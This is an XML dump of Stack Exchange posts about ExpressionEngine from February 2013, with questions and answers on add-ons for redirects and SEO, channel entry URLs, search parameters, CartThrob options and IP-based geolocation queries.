  <row Id="5841" PostTypeId="2" ParentId="5835" CreationDate="2013-02-05T03:24:35.337" Score="3" Body="&lt;p&gt;If you're using Structure 3.3.8, it already includes the Structure Entries functionality (&lt;a href=&quot;http://buildwithstructure.com/tags#tag_entries&quot; rel=&quot;nofollow&quot;&gt;Official Documentation&lt;/a&gt;). Maybe give the native version a try and see if that parses the Assets tag correctly?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries parent_id=&quot;{embed:my_parent_id}&quot;}&#xA;...&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="445" LastEditorUserId="445" LastEditDate="2013-02-05T03:29:41.397" LastActivityDate="2013-02-05T03:29:41.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5842" PostTypeId="2" ParentId="5834" CreationDate="2013-02-05T04:14:32.717" Score="0" Body="&lt;p&gt;How are you saving the date with DropDate field i.e in &quot;UNIX timestamp&quot; or &quot;YYYYMMDD&quot;? In this way you can directly match the &quot;Date of Death&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you will need to have some JavaScript stuff to convert the date format in either &quot;UNIX timestamp&quot; or &quot;YYYYMMDD&quot; OnChange the &quot;Date of Death&quot; input value.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-05T04:14:32.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5843" PostTypeId="1" CreationDate="2013-02-05T04:37:15.863" Score="1" ViewCount="94" Body="&lt;p&gt;I want to manage all my affiliate links in one place, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mydomain.com/link1 -&gt; redirects to aff. link 1&#xA;mydomain.com/link2 -&gt; redirects to aff. link 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any addon that allows the management of affiliate links like this?&lt;/p&gt;&#xA;" OwnerUserId="569" LastEditorUserId="16" LastEditDate="2013-02-05T06:11:49.307" LastActivityDate="2013-02-05T06:11:49.307" Title="Affiliate Links Management Addon?" Tags="|add-on|redirects|links|affiliate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5844" PostTypeId="2" ParentId="5843" CreationDate="2013-02-05T06:05:21.347" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;http://cityzen.com/addons/detour_pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is being used for 301 redirection and works very well.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-02-05T06:05:21.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5845" PostTypeId="2" ParentId="5843" CreationDate="2013-02-05T06:05:35.333" Score="3" Body="&lt;p&gt;I know there is &lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt; which is for doing redirects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we are on the topic of affiliate and for future reference there are these add-ons which are for setting up your own affiliate links for your users FWIW:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/affiliator&quot; rel=&quot;nofollow&quot;&gt;Affiliator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/affiliate-plus&quot; rel=&quot;nofollow&quot;&gt;Affiliate Plus&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditDate="2013-02-05T06:10:55.750" LastActivityDate="2013-02-05T06:10:55.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5846" PostTypeId="2" ParentId="5838" CreationDate="2013-02-05T06:09:02.900" Score="1" Body="&lt;p&gt;This has been fixed in our next upcoming release of Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need an immediate solution, edit your database and change the &lt;code&gt;contents&lt;/code&gt; column in the &lt;code&gt;exp_store_carts&lt;/code&gt; table from &lt;code&gt;TEXT&lt;/code&gt; to &lt;code&gt;MEDIUMTEXT&lt;/code&gt;. This will give you shopping carts more room to breathe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you install the next version of Store it will simply update this column type again so there is no issue with editing your database directly.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-02-05T06:09:02.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5847" PostTypeId="1" AcceptedAnswerId="5849" CreationDate="2013-02-05T07:09:59.720" Score="3" ViewCount="184" Body="&lt;p&gt;In my plugin query, I basically just want to know what the status of an entry is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked &lt;code&gt;exp_channel_entries&lt;/code&gt; and its not there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see status field in &lt;code&gt;exp_channel_entries_autosave&lt;/code&gt; but the table is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-02-05T07:31:01.443" Title="Where is the status of a channel entry stored?" Tags="|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5848" PostTypeId="1" AcceptedAnswerId="5857" CreationDate="2013-02-05T07:25:04.263" Score="2" ViewCount="1117" Body="&lt;p&gt;My Channel entry page's URL is something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://site.com/template_group/entry_id/{field_1}-{field_2}-{field_3}...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{field_1}-{field_2}-{field_3}...&lt;/code&gt; part is actually just something I add to the links I generate. They aren't actually being used on the Channel entry page. Only the &lt;code&gt;template_group/entry_id/&lt;/code&gt; matters (from what I can tell).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding those additional details at the end to hopefully generate SEO friendly URLs. Am I on the right track or is there a better &quot;EE way&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I want to offer some SEO features when making a Channel entry. I'm not well versed into SEO, but the only 2 fields I can think of are &lt;code&gt;meta keywords&lt;/code&gt; (which is pretty much useless from what I know), &lt;code&gt;meta title&lt;/code&gt; (same as &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt;?), and &lt;code&gt;meta description&lt;/code&gt;. Should I just add these 3 fields and let the SEO person fill these out? Or is there a better approach than this? It would be nice if there was some logic I could implement that would auto populate these fields in case the user doesn't populate them.&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-08T10:19:21.783" Title="SEO &amp; SEO friendly URLs" Tags="|channel-entries|seo|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5849" PostTypeId="2" ParentId="5847" CreationDate="2013-02-05T07:31:01.443" Score="3" Body="&lt;p&gt;It's in &lt;code&gt;exp_channel_titles&lt;/code&gt; - EE stashes its data all over the place.&lt;/p&gt;&#xA;" OwnerUserId="648" LastActivityDate="2013-02-05T07:31:01.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5850" PostTypeId="1" AcceptedAnswerId="5855" CreationDate="2013-02-05T07:49:01.767" Score="-2" ViewCount="167" Body="&lt;p&gt;I want each channel entry to be posted to FB and Twitter. I'm looking at &lt;a href=&quot;http://devot-ee.com/add-ons/social-update&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/social-update&lt;/a&gt;. Does anyone have experience with this? Documentation for this addon is a lacking, IMHO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or alternative suggestions?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-02-24T05:10:39.557" Title="Posting to FB/Twitter - addon suggestion?" Tags="|add-on|facebook|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5851" PostTypeId="2" ParentId="5848" CreationDate="2013-02-05T08:03:04.563" Score="2" Body="&lt;p&gt;Regarding adding metadata I have you looked at the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEO Lite &amp;amp; Better Meta&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/seolite&lt;/a&gt; and &#xA;&lt;a href=&quot;http://ee-garage.com/nsm-better-meta&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-better-meta&lt;/a&gt; (inc sitemaps)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For no follow links theres:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/no-follow&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/no-follow&lt;/a&gt;  (though it's straigtforward to add yourself)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For sitemaps there:&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/sitemap-module&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/sitemap-module&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I assume you've been over to Google Webmastertools and read their stuff&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see your adding stuff to the url - nothing wrong with this method but always remember that content is for humans, SEO specialists can often (not always) be charlatans.&lt;/p&gt;&#xA;" OwnerUserId="173" LastActivityDate="2013-02-05T08:03:04.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5852" PostTypeId="2" ParentId="5848" CreationDate="2013-02-05T08:03:50.890" Score="0" Body="&lt;p&gt;IFor your url's i'd recommend using switchee, as this addon will give you good control over your url's, templates and performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would not use the entry_id in the url, rather use the url title, as this is better for seo. &#xA;my url's are typically: &lt;a href=&quot;http://domain.com/template-group/template/url_title/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/template-group/template/url_title/&lt;/a&gt; and with switchee it's pretty easy to have more segments when needed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of possible things you can do with channel fields. First it's always a good idea to create fields for browsertitle, description and keywords. Also, you can create fields for link-title's, alt text etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template you can check if a field is empty, and if so, parse some default text, a global variable or other information from the entry. It's a good idea to use switchee here too, intstead of {if} statements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, be sure to use your h1's, h2's etc wisely. Content is still most relevant, more so than technical structure. &lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-02-05T08:03:50.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5853" PostTypeId="2" ParentId="5834" CreationDate="2013-02-05T11:05:17.447" Score="0" Body="&lt;p&gt;As BKY mentioned, I'd go for an exact match here, instead of a range. You say you're saving the DropDate field as a UNIX timestamp. &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&quot; rel=&quot;nofollow&quot;&gt;Low Search's range option&lt;/a&gt; only transforms a given date range to timestamps if the field is a native date field. Third party date fields aren't supported that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, I'd set DropDate to save the date as YYYYMMDD, so an exact match is easier to get. As a parameter, you could use &lt;code&gt;search:ob_dod=&quot;20130201&quot;&lt;/code&gt; (Feb 1st, 2013) for an exact match of the DropDate field. Used as an input field in the Form tag, you can then use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;search:ob_dod&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and perhaps use a datepicker or some custom JS to get the needed YYYYMMDD format.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-05T11:05:17.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5854" PostTypeId="1" AcceptedAnswerId="5856" CreationDate="2013-02-05T11:20:59.690" Score="2" ViewCount="684" Body="&lt;p&gt;I am using the following tag to get only channel entries with a custom field matching the last URL segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:collection_name=&quot;={last_segment}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for most values, but I've found that when the field contains double quotes, no entries are returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following URL segments work, and only the matching entries are shown: &lt;code&gt;Collection&lt;/code&gt;, &lt;code&gt;Collection 43&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this URL doesn't return any entries, even when there are matches in the DB: &lt;code&gt;The &quot;new&quot; collection&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to somehow escape these characters to allow this to work?&lt;/p&gt;&#xA;" OwnerUserId="823" LastEditorUserId="823" LastEditDate="2013-02-05T14:23:30.040" LastActivityDate="2013-02-05T15:44:24.923" Title="search=field_name: and special characters from URL segment" Tags="|channel-entries|custom-fields|url|search|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5855" PostTypeId="2" ParentId="5850" CreationDate="2013-02-05T12:25:00.737" Score="3" Body="&lt;p&gt;The documentation for Social Update can be found &lt;a href=&quot;http://www.intoeetive.com/docs/social_update.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The update is sent to one or several social accounts you've pre-authorized in Control Panel. The text of update needs to be entered for each entry using custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're rather looking for solution that will post to user's timeline, consider &lt;a href=&quot;http://devot-ee.com/add-ons/social-login-pro&quot; rel=&quot;nofollow&quot;&gt;Social Login Pro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As  Adrian suggested, it's better to try, and request moneyback if you find out it does not do the job for you.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-02-05T12:25:00.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5856" PostTypeId="2" ParentId="5854" CreationDate="2013-02-05T13:37:09.437" Score="2" Body="&lt;p&gt;Since you have the search parameter variable prefixed with &lt;code&gt;=&lt;/code&gt;, it's an exact match. Try removing the prefix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:collection_name=&quot;{last_segment}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Update&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The problem is with special characters in the URL. EE strips out uppercase letters, spacing &amp;amp; special characters in the native &lt;code&gt;{url_title}&lt;/code&gt; field for proper URL structure. So all the data in the &lt;code&gt;{collection_name}&lt;/code&gt; custom field will need to be reformatted so the &lt;code&gt;{last_segment}&lt;/code&gt; variable can be used properly in your use case. &lt;strong&gt;The &quot;new&quot; collection&lt;/strong&gt; should really be &lt;strong&gt;the-new-collection&lt;/strong&gt; in the collection name custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would approach this differently with either categories or even use &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt;. With Playa, you could create a &lt;strong&gt;Collection&lt;/strong&gt; Channel and then use a Playa field in the other channel to relate each entry to one or more collections. Then use &lt;code&gt;{exp:playa:parents}&lt;/code&gt; tag to display all reverse related entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;other_channel&quot; url_title=&quot;{last_segment}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-02-05T15:44:24.923" LastActivityDate="2013-02-05T15:44:24.923" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5857" PostTypeId="2" ParentId="5848" CreationDate="2013-02-05T13:43:05.707" Score="6" Body="&lt;p&gt;In general, your best bet for SEO is to synchronize &quot;the trinity&quot; –&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page title&lt;/li&gt;&#xA;&lt;li&gt;URL&lt;/li&gt;&#xA;&lt;li&gt;H1 heading&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you had a blog entry, on a single-entry page, called &quot;One More Blog Entry&quot; –&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page title (the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag): One More Blog Entry&lt;/li&gt;&#xA;&lt;li&gt;URL: /blog/post/one-more-blog-entry&lt;/li&gt;&#xA;&lt;li&gt;H1 heading: One More Blog Entry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If this were the About Us page, it would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Page title (the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tag): About Us&lt;/li&gt;&#xA;&lt;li&gt;URL: /about-us&lt;/li&gt;&#xA;&lt;li&gt;H1 heading: About Us&lt;/li&gt;&#xA;&lt;li&gt;Navigation link: About Us&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is a big reason why ExpressionEngine generates the URL title (&lt;code&gt;url_title&lt;/code&gt;) from the Title field: It's for SEO benefits. Stringing together fields to generate a URL is not going to match the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I typically use &lt;a href=&quot;http://ee-garage.com/nsm-better-meta&quot; rel=&quot;nofollow&quot;&gt;NSM Better Meta&lt;/a&gt; to allow clients to edit meta descriptions and page titles, and to set up my own page title rules. (Those are typically &lt;code&gt;&amp;lt;title&amp;gt;{title} : Site Name&amp;lt;/title&amp;gt;&lt;/code&gt;.) You could set up your own meta description field in your fields and load that in. Note that meta keywords are now ignored by search engines because they were abused. Meta descriptions don't factor in much either, but they're valuable on Search Engine Results Pages (SERPs) because they tell the user what the page is about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that you were looking at building your URL by stringing together fields, you might want your title to be a composite of those fields. In that case, I would recommend looking at &lt;a href=&quot;http://devot-ee.com/add-ons/mx-title-control&quot; rel=&quot;nofollow&quot;&gt;MX Title Control&lt;/a&gt; to generate your title when you're loading your entry, and to have the url_title based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making your url_title/page URLs different than your title/&lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt;/page heading is going to hurt SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also hide the URL Title field, making it so the user can not edit it, and keeping it in synch with the Title field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note, to expand on built-in support for SEO, one of the benefits of using &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; is that it outputs navigation as I described: With the Title field as the linked value, matching the entry/page title and URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; By default, your &lt;code&gt;{exp:channel:entries channel=&quot;some_channel&quot;}&lt;/code&gt; tag will load the corresponding entry if there's a &lt;code&gt;url_title&lt;/code&gt; match on the last segment. Entries will automatically load based on a match for &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt;. See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#title-permalink&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{title_permalink}&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt; To hide the URL Title field, use Publish Layouts. Click the little &quot;Show Toolbar&quot; link in the top right corner of the Publish screen for that channel. In the list of fields on the right, click the &quot;eye&quot; to the right of URL Title. Save that Layout and the field will be hidden. MX Title Control will hide your Title field if you configure it to build the Title value from other fields in the entry.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-02-05T19:45:27.063" LastActivityDate="2013-02-05T19:45:27.063" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5858" PostTypeId="2" ParentId="5848" CreationDate="2013-02-05T13:51:46.233" Score="1" Body="&lt;p&gt;I don't think you should be appending random keywords to the end of your URLs. You should educate the client to use appropriate URL Titles when they publish content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate content will affect your site negatively in terms of SEO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the following URL for example:&#xA;&lt;a href=&quot;http://site.com/news/article/1/keyword1/keyword2/keyword3&quot; rel=&quot;nofollow&quot;&gt;http://site.com/news/article/1/keyword1/keyword2/keyword3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template, it sounds like you might be doing something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{segment_3}&quot; ...}&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But your page could also be reached by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site.com/news/article/1/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/news/article/1/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site.com/news/article/1/random/string/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/news/article/1/random/string/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://site.com/news/article/1/another/random/thing&quot; rel=&quot;nofollow&quot;&gt;http://site.com/news/article/1/another/random/thing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Google sees these as separate pages with the same content. Not good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other people have already touched on the topic of &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags as well as appropriate headings.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-02-05T13:51:46.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5859" PostTypeId="1" CreationDate="2013-02-05T14:20:42.413" Score="0" ViewCount="28" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/2450/displaying-all-products-on-sale-with-expresso-store&quot;&gt;Displaying all products on sale with exp:resso store?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;It looks like it's not possible to pass an on_sale parameter to the products tag. This would be useful for pulling back a list of products that are on sale. Unless I'm missing something you currently have to pull back the full list and check the on_sale conditional, which is not as efficient and throws out the count and total_entries variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be added to a future version if it's not already possible to do this somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-02-05T14:20:42.413" Title="Filtering products by on sale items" Tags="|expresso-store|" AnswerCount="0" CommentCount="5" ClosedDate="2013-02-06T00:23:50.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="5860" PostTypeId="2" ParentId="5848" CreationDate="2013-02-05T14:39:07.803" Score="0" Body="&lt;p&gt;I'll give a thumbs up for SEO lite. Configured correctly, it can make light work of matching your page title, H1, etc, and do it automatically from channel fields, or when needed, can be overridden in the publish cp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had good search results from it, and pages in google are getting found well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also agree that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/template-group/template/url-title is the way to go for a nice easily readable, friendly url.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2013-02-05T14:39:07.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5861" PostTypeId="1" AcceptedAnswerId="5864" CreationDate="2013-02-05T15:42:14.867" Score="1" ViewCount="129" Body="&lt;p&gt;I am using CartThrob's global options, with the multi group fieldtype to allow multiple groups to be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is to display all of the groups options all inside one select menu to allow the user to add any to the cart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use this code inside the add to cart form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA; &#xA;    {exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;        {options}&#xA;    {option_name} - {price}&#xA;        {/options} &#xA;    {/exp:cartthrob:item_options}&#xA;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*&lt;/em&gt; Stack exchange is removing a open select and close select either side of the code above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The select is created with all options from all groups, but when an item is added to the cart, it has a price of 0.00.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot;}&#xA;    {select class=&quot;print-select&quot;} &#xA;        {if option_first_row}&lt;br&gt;&#xA;          Choose a your option...&#xA;        {/if}&#xA;        {option_name} - {price}&#xA;    {/select}&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each group is in a different select, but the price works... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get it to work inside one select?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="293" LastEditDate="2013-02-05T15:57:57.790" LastActivityDate="2013-02-05T17:09:50.167" Title="CartThrob: Global options groups all in one select" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5862" PostTypeId="1" AcceptedAnswerId="5884" CreationDate="2013-02-05T16:01:18.617" Score="1" ViewCount="83" Body="&lt;p&gt;I have a site that was happily outputting variables based upon a user's IP address. I was using code that looked to see if a cookie for a user's region was already set and if not, looking up the user's country and then setting said cookie and the appropriate variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code was in a PHP enabled template parsing on output and included the following…&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = 'SELECT country FROM exp_ip2nation WHERE ip &amp;lt; INET_ATON(&quot;'.$_SERVER['REMOTE_ADDR'].'&quot;) &#xA;ORDER BY ip DESC LIMIT 0,1';  &#xA;list($country) = mysql_fetch_row(mysql_query($sql));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But since updating the site in question I find that EE now uses &lt;strong&gt;maxmind.com&lt;/strong&gt; data instead of &lt;strong&gt;ip2nation.com&lt;/strong&gt;, and that what was a single &lt;strong&gt;ip&lt;/strong&gt; field is now 2: &lt;strong&gt;ip_range_low&lt;/strong&gt; and &lt;strong&gt;ip_range_high&lt;/strong&gt;. As a consequence my code no longer works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest how to fix my code or suggest a better way of achieving the same end?&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-02-05T16:13:38.780" LastActivityDate="2013-02-05T21:41:55.737" Title="What is the best way to set geolocalised variables?" Tags="|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5863" PostTypeId="1" CreationDate="2013-02-05T16:28:04.230" Score="0" ViewCount="128" Body="&lt;p&gt;I'm currently using the mail list extension (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/mailinglist/index.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/mailinglist/index.html&lt;/a&gt;) on one of my sites and I have a few questions which I couldn't find the answer too using google and the documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to edit the Post back page so that it can be branded up with the rest of the website. And I plan to handle the form posting using AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need away to edit the return when i post the email address to the server and i need a way of editing what the user sees when they return to the site to confirm there registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2013-02-06T14:28:49.097" LastActivityDate="2013-04-08T22:07:05.413" Title="Mail list edit confirm pages and post backs" Tags="|ajax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
